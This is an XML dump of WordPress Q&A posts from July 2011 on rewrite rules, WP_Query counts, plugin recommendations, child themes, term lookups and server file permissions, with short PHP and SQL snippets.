  <row Id="23553" PostTypeId="2" ParentId="23547" CreationDate="2011-07-20T13:25:10.210" Score="1" ViewCount="" Body="&lt;p&gt;Try one of these plugins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-voting/&quot; rel=&quot;nofollow&quot;&gt;WP Voting&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or if you don't mind spending a little then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://premium.wpmudev.org/project/post-voting-plugin&quot; rel=&quot;nofollow&quot;&gt;Post Voting Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-20T13:25:10.210" />
  <row Id="23554" PostTypeId="1" CreationDate="2011-07-20T13:26:34.797" Score="0" ViewCount="33" Body="&lt;p&gt;First, my Wordpress Version is 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom post type called &quot;gamecard&quot;, and I had get variables in the URL to show a excerpt, a galery, relative articles...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example to understand : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;gamecard excerpt -&gt; www.jeuxpcmag.com/test/?gamecard=tron-evolution&#xA;gamecard galery -&gt; www.jeuxpcmag.com/test/?gamecard=tron-evolution&amp;amp;tab=screenshots&#xA;gamecard galery page 2 -&gt; www.jeuxpcmag.com/test/?gamecard=tron-evolution&amp;amp;tab=screenshots&amp;amp;gp=2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to rewrite these URL in :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.jeuxpcmag.com/test/tron-evolution &#xA;and&#xA;www.jeuxpcmag.com/test/tron-evolution/screenshots&#xA;and&#xA;www.jeuxpcmag.com/test/tron-evolution/screenshots/2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned off the auto rewrite for this custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try several codes without succes, just this gave me an url like &lt;a href=&quot;http://www.jeuxpcmag.com/test/tron-evolution?tab=screenshots&amp;amp;&quot; rel=&quot;nofollow&quot;&gt;http://www.jeuxpcmag.com/test/tron-evolution?tab=screenshots&amp;amp;&lt;/a&gt;... (convert the custom post type) :&#xA;Code PHP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;add_action('init','yoursite_init');&#xA;function yoursite_init() {&#xA;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;add_rewrite_tag(&quot;%gamecard%&quot;, '([^/]+)', &quot;gamecard=&quot;);&#xA;$wp_rewrite-&amp;gt;add_permastruct('gamecard', '%gamecard%', false);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I think the first problem is that I don't declare the custom variable (tab &amp;amp; gp) in Wordpress because I don't know how I do this. For this moment, in my single-gamecard.php I write this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($HTTP_GET_VARS[&quot;tab&quot;] == 'screenshots') { ?&amp;gt;The content to show&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : You can copy the URL in your browser to see with your own eyes.&lt;/p&gt;&#xA;" OwnerUserId="7173" LastActivityDate="2011-07-20T13:26:34.797" Title="Rewrite rule for custom variable (get) with custom post type" Tags="&lt;custom-post-types&gt;&lt;rewrite-rules&gt;&lt;tabs&gt;" />
  <row Id="23555" PostTypeId="2" ParentId="23497" CreationDate="2011-07-20T13:27:32.280" Score="1" ViewCount="" Body="&lt;p&gt;WordPress allows for this setup, and they have complete instructions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory&quot; rel=&quot;nofollow&quot;&gt;Giving WordPress its Own Directory While Leaving Your Blog in the Root Directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally would move the files because to me it's cleaner, but the above mentioned solution should work for you.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-20T13:27:32.280" CommentCount="1" />
  <row Id="23556" PostTypeId="2" ParentId="23522" CreationDate="2011-07-20T13:31:16.527" Score="0" ViewCount="" Body="&lt;p&gt;1) Try &lt;a href=&quot;http://wordpress.org/extend/plugins/wpdb-profiling/&quot; rel=&quot;nofollow&quot;&gt;WordPress › WPDB Profiling « WordPress Plugins&lt;/a&gt; to see what is running all the queries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Clearing post and page revisions will greatly reduce the size of a WP database - up to 90% in some cases - with a huge return in speed and lower server load. Run as SQL query in phpmyadmin to delete revisions; change table prefix as necessary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE a,b,c&#xA;FROM wp_posts a&#xA;LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)&#xA;LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)&#xA;WHERE a.post_type = 'revision'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then optimize all tables. And then add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define ('WP_POST_REVISIONS', FALSE);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;near the top of wp-config.php to disable future revisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Check your permalink structure: &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;Category in Permalinks Considered Harmful » Otto on WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-20T13:31:16.527" />
  <row Id="23557" PostTypeId="1" AcceptedAnswerId="23558" CreationDate="2011-07-20T13:36:43.233" Score="0" ViewCount="36" Body="&lt;p&gt;How can i get the row counts in query post like mysql count(*).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$obj_name = new WP_Query($args);&#xA;&#xA;while ($obj_name-&amp;gt;have_posts()) : $obj_name-&amp;gt;the_post(); &#xA;&#xA;// here i want to predict looping counts&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i do this.&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-07-20T13:44:12.710" Title="How can i get count from query post" Tags="&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="23558" PostTypeId="2" ParentId="23557" CreationDate="2011-07-20T13:41:42.257" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$num = $obj_name-&amp;gt;post_count; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;wp_query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-20T13:41:42.257" CommentCount="1" />
  <row Id="23562" PostTypeId="1" AcceptedAnswerId="23564" CreationDate="2011-07-20T14:35:13.893" Score="0" ViewCount="51" Body="&lt;p&gt;i want to know,how to import my youtube channel into my wordpres website?please help me.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have youtube channel with 7 video's(&lt;a href=&quot;http://www.youtube.com/user/CreswickCreative3205#g/c/0E4DB29E724360BE&quot; rel=&quot;nofollow&quot;&gt;Link&lt;/a&gt;).i want to bring all the videos into my wordpress website's sidebar.if i click the Listed videos from my channel's list, it'll need to play.for more reference:(this is the sample output&amp;amp; i needed too) &lt;a href=&quot;http://screencast.com/t/UJlzkwEpG&quot; rel=&quot;nofollow&quot;&gt;View Image&lt;/a&gt;. thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-20T15:19:10.207" Title="how to import my youtube channel into wordpress?" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;videos&gt;&lt;youtube&gt;" AnswerCount="1" />
  <row Id="23564" PostTypeId="2" ParentId="23562" CreationDate="2011-07-20T15:19:10.207" Score="2" ViewCount="" Body="&lt;p&gt;I'd use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/tubepress/&quot; rel=&quot;nofollow&quot;&gt;Tubepress&lt;/a&gt;. It has a lot of options to suit your needs, such as a sidebar widget that can play your videos in a lightbox for example. I used it a few times, it's quite powerfull and customizable.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-20T15:19:10.207" CommentCount="1" />
  <row Id="23566" PostTypeId="1" CreationDate="2011-07-20T15:40:25.683" Score="1" ViewCount="36" Body="&lt;p&gt;I am using the date and time in the post dialogue to log the date and time of future events, and would like to change the text to reflect that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an action hook I can tap into to achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it would be perfect if I could pull those controls out of the 'publish dialogue', and add it to my own meta box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/GxOzW.png&quot; alt=&quot;Publish dialogue&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-21T14:04:17.233" Title="Change the 'published on' text?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;date-time&gt;&lt;hacks&gt;" AnswerCount="1" />
  <row Id="23567" PostTypeId="1" CreationDate="2011-07-20T16:06:42.397" Score="0" ViewCount="21" Body="&lt;p&gt;I've searched around and can't find anything on this, so thought I'd see if y'all could help. I am successfully scheduling posts and having them publish - no &quot;missed schedule&quot; problems - but when a scheduled post is published, WordPress does not ping Feedburner, and my feed is not updated. I can manually go into Feedburner and update the feed, but that's a pain (well, it's easy, but I forget to do it! that's the whole point of scheduling posts! :-) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a setting in either Feedburner or WordPress that I need to change to make this work? My 'privacy' settings are set to visible to search engines. Here's the site if that helps in any way: &lt;a href=&quot;http://thegladdestthing.com/&quot; rel=&quot;nofollow&quot;&gt;http://thegladdestthing.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-20T16:06:42.397" Title="Feedburner doesn't update when &quot;scheduled post&quot; publishes" Tags="&lt;feedburner&gt;&lt;scheduled-posts&gt;" />
  <row Id="23568" PostTypeId="1" CreationDate="2011-07-20T16:12:30.120" Score="0" ViewCount="36" Body="&lt;p&gt;Is there a way to put a placeholder text in the category form label? Right now the label is empty and has a dropdown menu filled with categories. I want to make a dummy placeholder text which will be something to : CHOOSE THE CATEGORY!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;&amp;lt;option value=&quot;&amp;lt;?php wp_dropdown_categories('exclude=34, selected=0'); ?&amp;gt;    &#xA;&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5499" LastActivityDate="2011-07-20T18:10:59.697" Title="placeholder text in category form label" Tags="&lt;wordpress.com&gt;&lt;form&gt;&lt;text&gt;" AnswerCount="2" />
  <row Id="23569" PostTypeId="2" ParentId="23174" CreationDate="2011-07-20T16:13:12.833" Score="3" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;First do not use 777, change it back to 755.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Second you need to add the proper group permissions most likely to the same that Apache is running under.&#xA;To find that out try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps aux | grep apache &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see the Apache user group on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now change your WordPress folder to the same user group, you can do this in a parent folder or sub folder but for sanity it usually best for parent folder, use &lt;code&gt;-R&lt;/code&gt; to recursively do it.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R www-data:www-data /path/to/wp-root-folder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To login on windows use &lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/&quot; rel=&quot;nofollow&quot;&gt;Putty&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter your hostname and port&lt;/li&gt;&#xA;&lt;li&gt;Choose connection type depending on server settings&lt;/li&gt;&#xA;&lt;li&gt;Click open&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you try to chown and get denied you will need root privileges , type &lt;code&gt;sudo su&lt;/code&gt; and your password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. It would help if you mentioned what OS your server is running and if your running a php permission script like suPHP.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-20T16:23:37.413" LastActivityDate="2011-07-20T16:23:37.413" CommentCount="3" />
  <row Id="23570" PostTypeId="1" AcceptedAnswerId="23649" CreationDate="2011-07-20T16:20:31.403" Score="1" ViewCount="44" Body="&lt;p&gt;I'm trying to redeclare a function in a wordpress child theme that is already in use by the parent theme. However, I get a &quot;Fatal error: Cannot redeclare&quot; message when trying to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I've tried using the following with no luck: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('jr_load_scripts')) {&#xA;  // do fancy things here...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://rockstar.tinygiantstudios.co.uk/&quot; rel=&quot;nofollow&quot;&gt;the link&lt;/a&gt; if you want to have a quick look...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here's the full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('jr_load_scripts')) {&#xA;function jr_load_scripts() {&#xA;global $app_abbr;&#xA;&#xA;$http = (is_ssl()) ? 'https' : 'http';&#xA;&#xA;// load google cdn hosted scripts if enabled&#xA;if (get_option($app_abbr.'_google_jquery') == 'yes') :&#xA;&#xA;    wp_deregister_script('jquery');&#xA;    wp_register_script('jquery', (''.$http.'://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js'), false, '1.4.2');&#xA;    wp_register_script('jquery-ui-custom', ''.$http.'://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js', false, '1.8');&#xA;&#xA;else :&#xA;&#xA;    wp_register_script('jquery-ui-custom', get_bloginfo('template_directory').'/includes/js/jquery-ui-1.8.custom.min.js', false, '1.8');&#xA;&#xA;endif;&#xA;&#xA;wp_enqueue_script('jquery');&#xA;wp_enqueue_script('jquery-ui-custom');&#xA;&#xA;wp_enqueue_script('jquery-tag', get_bloginfo('template_directory').'/includes/js/jquery.tag.js', array('jquery'), '');&#xA;wp_enqueue_script('smoothscroll', get_bloginfo('template_directory').'/includes/js/smoothscroll.js', array('jquery'), '');&#xA;wp_enqueue_script('lazyload', get_bloginfo('template_directory').'/includes/js/jquery.lazyload.mini.js', array('jquery'), '1.5.0');&#xA;wp_enqueue_script('elastic', get_bloginfo('template_directory').'/includes/js/jquery.elastic.js', array('jquery'), '1.0');&#xA;wp_enqueue_script('fancybox', get_bloginfo('template_directory').'/includes/js/jquery.fancybox-1.3.4.pack.js', array('jquery'), '1.3.4');&#xA;wp_enqueue_script('qtip', get_bloginfo('template_directory').'/includes/js/jquery.qtip.min.js', array('jquery'), '1.0.0-rc3');&#xA;wp_enqueue_script('general', get_bloginfo('template_directory').'/includes/js/theme-scripts.js', array('jquery'), '3.0');&#xA;&#xA;$jr_enable_indeed_feeds = get_option('jr_enable_indeed_feeds');&#xA;if ($jr_enable_indeed_feeds=='yes') :&#xA;&#xA;     wp_enqueue_script('indeed-api', ''.$http.'://www.indeed.com/ads/apiresults.js');&#xA;&#xA;endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7180" LastActivityDate="2011-07-21T11:34:25.387" Title="Wordpress Child Themes" Tags="&lt;php&gt;&lt;child-theme&gt;&lt;overridable-functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23571" PostTypeId="1" AcceptedAnswerId="23573" CreationDate="2011-07-20T16:24:11.453" Score="0" ViewCount="76" Body="&lt;p&gt;Can I get the term by it's id without knowing to whish taxonomy it belongs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a meta field that stores term ids, but doesn't store the taxonomy. However, all the &lt;code&gt;get_term&lt;/code&gt; function have taxonomy parameter marked as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I can get the taxonomy of the term by it's (term's) id somehow?&lt;/p&gt;&#xA;" OwnerUserId="5902" LastActivityDate="2011-07-25T12:22:00.920" Title="get term by id without taxonomy" Tags="&lt;taxonomy&gt;&lt;terms&gt;&lt;get-terms&gt;" AnswerCount="2" />
  <row Id="23572" PostTypeId="1" CreationDate="2011-07-20T16:58:12.140" Score="0" ViewCount="11" Body="&lt;p&gt;I'm looking to intercept a preview button request before it pops over into the &lt;code&gt;?preview=true&lt;/code&gt; template side of things. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-07-20T16:58:12.140" Title="Is there a way to redirect preview requests?" Tags="&lt;previews&gt;&lt;previewing&gt;" CommentCount="1" />
  <row Id="23573" PostTypeId="2" ParentId="23571" CreationDate="2011-07-20T16:59:26.943" Score="1" ViewCount="" Body="&lt;p&gt;Yes, but you need you make your own SQL query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A modified version of WP's get_term():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function &amp;amp;get_term_by_id_only($term, $output = OBJECT, $filter = 'raw') {&#xA;    global $wpdb;&#xA;    $null = null;&#xA;&#xA;    if ( empty($term) ) {&#xA;        $error = new WP_Error('invalid_term', __('Empty Term'));&#xA;        return $error;&#xA;    }&#xA;&#xA;    if ( is_object($term) &amp;amp;&amp;amp; empty($term-&amp;gt;filter) ) {&#xA;        wp_cache_add($term-&amp;gt;term_id, $term, 'my_custom_queries');&#xA;        $_term = $term;&#xA;    } else {&#xA;        if ( is_object($term) )&#xA;            $term = $term-&amp;gt;term_id;&#xA;        $term = (int) $term;&#xA;        if ( ! $_term = wp_cache_get($term, 'my_custom_queries') ) {&#xA;            $_term = $wpdb-&amp;gt;get_row( $wpdb-&amp;gt;prepare( &quot;SELECT t.* FROM $wpdb-&amp;gt;terms AS t WHERE t.term_id = %s LIMIT 1&quot;, $term) );&#xA;            if ( ! $_term )&#xA;                return $null;&#xA;            wp_cache_add($term, $_term, 'my_custom_queries');&#xA;        }&#xA;    }&#xA;&#xA;    if ( $output == OBJECT ) {&#xA;        return $_term;&#xA;    } elseif ( $output == ARRAY_A ) {&#xA;        $__term = get_object_vars($_term);&#xA;        return $__term;&#xA;    } elseif ( $output == ARRAY_N ) {&#xA;        $__term = array_values(get_object_vars($_term));&#xA;        return $__term;&#xA;    } else {&#xA;        return $_term;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably not a good idea. Try to handle the tax too in your meta fields...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-20T16:59:26.943" />
  <row Id="23574" PostTypeId="2" ParentId="23568" CreationDate="2011-07-20T17:54:58.490" Score="1" ViewCount="" Body="&lt;p&gt;I’m not sure if I understand your question right. Do you need the parameter &lt;code&gt;'show_option_none'&lt;/code&gt; or something else?&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-07-20T17:54:58.490" CommentCount="1" />
  <row Id="23575" PostTypeId="2" ParentId="23568" CreationDate="2011-07-20T18:10:59.697" Score="2" ViewCount="" Body="&lt;p&gt;You can add it as an argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=CHOOSE THE CATEGORY!' ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;wp_dropdown_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-20T18:10:59.697" />
  <row Id="23576" PostTypeId="2" ParentId="23458" CreationDate="2011-07-20T18:12:36.893" Score="-1" ViewCount="" Body="&lt;p&gt;It might work to satisfaction to run the dump file on top of the new 3.0+ database. I doubt it would harm anything and probably would populate the posts &amp;amp; meta taxonomy (categories and tags) tables as I don't think they had much difference between the two versions. &lt;/p&gt;&#xA;" OwnerUserId="6687" LastActivityDate="2011-07-20T18:12:36.893" />
  <row Id="23577" PostTypeId="1" AcceptedAnswerId="23583" CreationDate="2011-07-20T18:13:00.710" Score="0" ViewCount="34" Body="&lt;p&gt;I'm using switch_to_blog() and restore_current_blog() to perform some functions across a multi site install. One of the things I'm trying to do is select a very specific post using get_row(). My function looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prefix = $wpdb-&amp;gt;prefix;&#xA;$tbl = $prefix;&#xA;$product = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM {$tbl}_posts WHERE ID = 4253&quot;);&#xA;print_r($product); exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The post with ID 4253 definitely exists, and I know for sure that the prefix is correct, however print_r returns absolutely nothing, nor does &lt;code&gt;echo $product-&amp;gt;post_title;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-20T19:03:04.807" Title="Trouble with SQL SELECT inside switch_to_blog()" Tags="&lt;multisite&gt;&lt;switch-to-blog&gt;&lt;get-row&gt;" AnswerCount="1" />
  <row Id="23578" PostTypeId="1" AcceptedAnswerId="23592" CreationDate="2011-07-20T18:16:11.697" Score="-1" ViewCount="29" Body="&lt;p&gt;I would like to know the procedure to put my categories in the left menu on the widget in the same style of yahoo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like this style:&#xA;ScreenShot-&gt; &lt;a href=&quot;http://broalliance.com.br/kafra/image-1ED5_4E270F69.jpg&quot; rel=&quot;nofollow&quot;&gt;http://broalliance.com.br/kafra/image-1ED5_4E270F69.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the best option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;html and use a field to do manually?&#xA;how would the css?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-07-20T20:38:22.940" Title="Menu in widget with yahoo style" Tags="&lt;menus&gt;" AnswerCount="1" />
  <row Id="23580" PostTypeId="1" AcceptedAnswerId="23581" CreationDate="2011-07-20T18:28:04.483" Score="0" ViewCount="31" Body="&lt;p&gt;In this wordpress &lt;a href=&quot;http://terrytao.wordpress.com/2011/07/19/mini-polymath3-discussion-thread/#comment-58454&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;, one can vote the comments. I am wondering how can I set up this function in my wordpress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ymbkC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7104" LastActivityDate="2011-07-20T19:40:37.267" Title="How can I set a vote on the comments?" Tags="&lt;blog&gt;&lt;support&gt;" AnswerCount="2" />
  <row Id="23581" PostTypeId="2" ParentId="23580" CreationDate="2011-07-20T18:52:24.500" Score="1" ViewCount="" Body="&lt;p&gt;If your blog is self-hosted, the easiest way to add a comment voting system is to install a plugin (e.g. &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-rating/&quot; rel=&quot;nofollow&quot;&gt;Comment Rating&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your blog is on WordPress.com, then you'd need to go through the options the options on WordPress.com to see where you could enable that functionality.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-07-20T18:52:24.500" CommentCount="1" />
  <row Id="23582" PostTypeId="1" CreationDate="2011-07-20T19:00:00.023" Score="0" ViewCount="19" Body="&lt;p&gt;I have a custom content type that has the main content field, and then a meta box that I've enabled the rich text editor on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The media upload buttons on the second editor insert their content into the primary editor.  I know this calls window.send_to_editor and that I can override this, but overriding it will cause the main editor's media upload to not work.  Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="6538" LastActivityDate="2011-07-20T19:00:00.023" Title="Multiple Rich Text Editors, each with Media Buttons" Tags="&lt;media-upload&gt;" />
  <row Id="23583" PostTypeId="2" ParentId="23577" CreationDate="2011-07-20T19:03:04.807" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; You have an extra underscore in your table name, it becomes &lt;code&gt;wp__posts&lt;/code&gt; in your case. Better use like how I have shown below :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First, use table names like the following and try var_dump to see if it returns NULL. In case the Post ID doesn't exist, &lt;code&gt;$product&lt;/code&gt; will be &lt;code&gt;NULL&lt;/code&gt;, which only var_dump can show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;$product = $wpdb-&amp;gt;get_row(&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE ID = 4253&quot;);&#xA;var_dump( $product );&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-07-20T19:03:04.807" CommentCount="1" />
  <row Id="23584" PostTypeId="2" ParentId="23580" CreationDate="2011-07-20T19:40:37.267" Score="1" ViewCount="" Body="&lt;p&gt;Thanks to Manzabar's answer, I solve the problem as the following picture shows:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/RRxAR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7104" LastActivityDate="2011-07-20T19:40:37.267" />
  <row Id="23585" PostTypeId="1" AcceptedAnswerId="23591" CreationDate="2011-07-20T19:43:56.877" Score="0" ViewCount="34" Body="&lt;p&gt;I downloaded a widget for my blog, which works just like the calendar widget but displays a custom post type instead. It correctly marks my CPT-posts and creates links, such as &lt;a href=&quot;http://localhost:8888/wp/?m=201105&quot; rel=&quot;nofollow&quot;&gt;http://localhost:8888/wp/?m=201105&lt;/a&gt; for a certain month and &lt;a href=&quot;http://localhost:8888/wp/?m=20110510&quot; rel=&quot;nofollow&quot;&gt;http://localhost:8888/wp/?m=20110510&lt;/a&gt; for a certain day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to create the required archive template, but it keeps falling back to index.php instead of date.php or archive.php - and the loop in index.php returns empty. I am flabbergasted, has anyone seen this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hypothesis: it returns empty because I does not include custom post types. It does not explain why date.php / archive.php isn't being used (and is_date() appears to return false), but it would explain why the loop is empty because I have no other articles yet. If this is the case, how can I include CPTs? &lt;/p&gt;&#xA;" OwnerUserId="5028" LastActivityDate="2011-07-20T20:28:47.953" Title="A problem with date archives" Tags="&lt;archive&gt;&lt;templates&gt;&lt;calendar&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23586" PostTypeId="1" CreationDate="2011-07-20T19:54:49.553" Score="0" ViewCount="21" Body="&lt;p&gt;I want to show number of comments and link to the comments on my home page under each post. I'm placing following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comments_popup_link('Be the first to comment!', '1 comment.', '% comments already!'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives output &quot;&lt;strong&gt;0 Comments and 0 Reactions&lt;/strong&gt;&quot;, I don't want to print &quot;&lt;strong&gt;and 0 Reactions&lt;/strong&gt;&quot;. &#xA;How can i remove that? &#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6908" LastActivityDate="2011-07-20T19:54:49.553" Title="How to display comments link" Tags="&lt;comments&gt;" CommentCount="1" />
  <row Id="23587" PostTypeId="2" ParentId="19290" CreationDate="2011-07-20T20:06:20.617" Score="0" ViewCount="" Body="&lt;p&gt;WordPress should do this automatically. Whatever permalink format you have set in Settings &gt; Permalinks should be the URL visitors end up at when they come to a different URL that indicates the same content. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2011-07-20T20:06:20.617" />
